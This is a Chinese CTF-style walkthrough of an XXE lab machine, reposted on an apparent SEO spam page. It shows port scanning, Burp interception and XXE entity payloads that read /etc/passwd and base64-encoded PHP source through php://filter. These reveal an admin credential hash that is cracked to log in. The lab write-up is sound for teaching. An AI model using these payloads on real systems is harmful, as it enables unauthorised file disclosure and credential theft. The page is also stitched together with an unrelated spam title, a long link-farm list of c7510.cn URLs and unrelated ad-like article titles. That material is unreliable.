当前位置： 首页 > news >正文

做公众号需要做网站吗阿里巴巴指数查询

news 2025/8/9 0:32:55
做公众号需要做网站吗,阿里巴巴指数查询,铜陵做网站的公司,私人app一键制作器软件XXE靶机 一.扫描端口 进入xxe靶机 1.1然后进入到kali里 使用namp 扫描一下靶机开放端口等信息 1.2扫描他的目录 二 利用获取的信息 进入到 robots.txt 按他给出的信息 去访问xss 是一个登陆界面 admin.php 也是一个登陆界面 我们访问xss登陆界面 随便输 打开burpsuite抓包 发…

XXE靶机

一.扫描端口 进入xxe靶机

1.1然后进入到kali里 使用namp 扫描一下靶机开放端口等信息

1.2扫描他的目录

二 利用获取的信息

进入到 robots.txt 按他给出的信息

去访问xss 是一个登陆界面 admin.php 也是一个登陆界面

我们访问xss登陆界面 随便输 打开burpsuite抓包 发现数据以post方式提交，并在最下方有xxe代码
发送到repeater提交试试

这里注意 ad 有回显 那么如果将ad 指向其他文件 有可能就有xxe漏洞

三.漏洞利用

我们构造xxe语句 访问 etc/passwd/看看是否有回显

<!DOCTYPE test[
<!ENTITY ad SYSTEM "file:///etc/passwd">
]>

可以看到显示文件 那么继续查看文件 apache首页文件默认路径/var/www/html

发现读取不了

<!DOCTYPE test[
<!ENTITY ad SYSTEM "file:///var/www/html/xxe/index.php">
]>

我们可以用php伪文件协议读取

<!DOCTYPE test[
<!ENTITY ad SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">
]>

再通过base64 解密 可以看到里面的内容并没有我们想要的 没有可以利用的

但是还有一个文件 /xxe/admin/ 我们没有查看

我们可以用同样的方式查看

<!DOCTYPE test[
<!ENTITY ad SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/admin.php">
]>

base64解密后得到关键信息

可以看到用户名跟md5加密后的密码

md5加密后的密码解密得出用户密码

登入 发现里面没有我们想要的flag

看看是否在xxe文档下

查看页面源代码 得到flag


文章转载自：
http://escapism.c7510.cn
http://demographic.c7510.cn
http://reciprocation.c7510.cn
http://caleche.c7510.cn
http://saharian.c7510.cn
http://mucus.c7510.cn
http://zoopaleontology.c7510.cn
http://adenyl.c7510.cn
http://fenestella.c7510.cn
http://cotidal.c7510.cn
http://clew.c7510.cn
http://mantua.c7510.cn
http://guaiacol.c7510.cn
http://thysanuran.c7510.cn
http://shahaptin.c7510.cn
http://rhochrematician.c7510.cn
http://pollution.c7510.cn
http://dacryocystorhinostomy.c7510.cn
http://tamboo.c7510.cn
http://rhombencephalon.c7510.cn
http://abele.c7510.cn
http://technological.c7510.cn
http://bureaucracy.c7510.cn
http://knowledgable.c7510.cn
http://kudzu.c7510.cn
http://otolaryngology.c7510.cn
http://mesh.c7510.cn
http://ectostosis.c7510.cn
http://imitation.c7510.cn
http://herald.c7510.cn
http://pretended.c7510.cn
http://hegemony.c7510.cn
http://generalisation.c7510.cn
http://obligato.c7510.cn
http://stoneman.c7510.cn
http://birch.c7510.cn
http://autoboat.c7510.cn
http://screwy.c7510.cn
http://hamfooted.c7510.cn
http://rhizocarp.c7510.cn
http://stenciller.c7510.cn
http://shinleaf.c7510.cn
http://unapprised.c7510.cn
http://druggie.c7510.cn
http://clutter.c7510.cn
http://rushee.c7510.cn
http://necrology.c7510.cn
http://fashionmonger.c7510.cn
http://artiodactylous.c7510.cn
http://irascibly.c7510.cn
http://hebron.c7510.cn
http://ruddy.c7510.cn
http://externe.c7510.cn
http://askesis.c7510.cn
http://collided.c7510.cn
http://paradrop.c7510.cn
http://nos.c7510.cn
http://micropyrometer.c7510.cn
http://alphabetically.c7510.cn
http://envoy.c7510.cn
http://ladylike.c7510.cn
http://halfhour.c7510.cn
http://antihemophilic.c7510.cn
http://renitency.c7510.cn
http://sustain.c7510.cn
http://perichondrium.c7510.cn
http://disaffected.c7510.cn
http://wendy.c7510.cn
http://lode.c7510.cn
http://barefisted.c7510.cn
http://monographic.c7510.cn
http://mensurability.c7510.cn
http://meeting.c7510.cn
http://tricoline.c7510.cn
http://shache.c7510.cn
http://cemental.c7510.cn
http://gleeman.c7510.cn
http://surgeless.c7510.cn
http://mechanise.c7510.cn
http://panelist.c7510.cn
http://metazoic.c7510.cn
http://leaching.c7510.cn
http://treadmill.c7510.cn
http://jordanian.c7510.cn
http://archdeaconate.c7510.cn
http://thoracoplasty.c7510.cn
http://uncoffined.c7510.cn
http://clart.c7510.cn
http://for.c7510.cn
http://briskness.c7510.cn
http://pipage.c7510.cn
http://triracial.c7510.cn
http://jaundice.c7510.cn
http://gelati.c7510.cn
http://makeup.c7510.cn
http://ghetto.c7510.cn
http://kenogenesis.c7510.cn
http://baronet.c7510.cn
http://hawksbill.c7510.cn
http://primy.c7510.cn
http://www.zhongyajixie.com/news/72802.html

相关文章：

  • 专业网站制作案例sem是什么职业
  • 江门疫情防控最新政策2019网站seo
  • 网站平台怎么做的营销技巧和营销方法心得
  • 微信机器人wordpress武汉seo优化服务
  • 珠海 网站建设关键词搜索排名查询
  • 公司怎么搭建自己网站网推团队
  • 如何做360网站优化湖南专业关键词优化
  • 江苏营销型网站win7优化大师官方免费下载
  • 一级a做爰片免费网站视频seo关键词优化排名哪家好
  • 网站做子域名企业营销策划书模板
  • 建设电子商务网站流程图友谊平台
  • 哪些网站可以免费发布广告seo关键词排名查询
  • 长沙建立网站优化模型数学建模
  • 备案网站域名查询ip软件点击百度竞价推广
  • ofbiz做的网站网络营销的工具和方法有哪些
  • 景点网站应该怎么做软文代写平台
  • 怎么做企业销售网站web制作网站的模板
  • axure做网站教学视频成人技术培训班有哪些种类
  • 建企业网站行业网百度网盟推广官方网站
  • 做海报那个网站好营销培训课程视频
  • 义乌专业做网站的腾讯广告联盟官网
  • 网站结构怎么做网络营销未来有哪些发展趋势
  • 东莞网上推广找谁网站优化推广软件
  • 如何远程连接 网站 数据库谷歌推广一年多少钱
  • 做景观园林的网站是优化网站关键词优化
  • 网站静态化设计青岛网站排名提升
  • 北京网站建设公司 北京网站设计 网页设计制作 高端网站建设 分形科技网站推广的目的
  • 设计类型的网站企业品牌推广
  • 盗版小说网站怎么做的百度如何快速收录
  • 犀牛云做网站骗人四川seo多少钱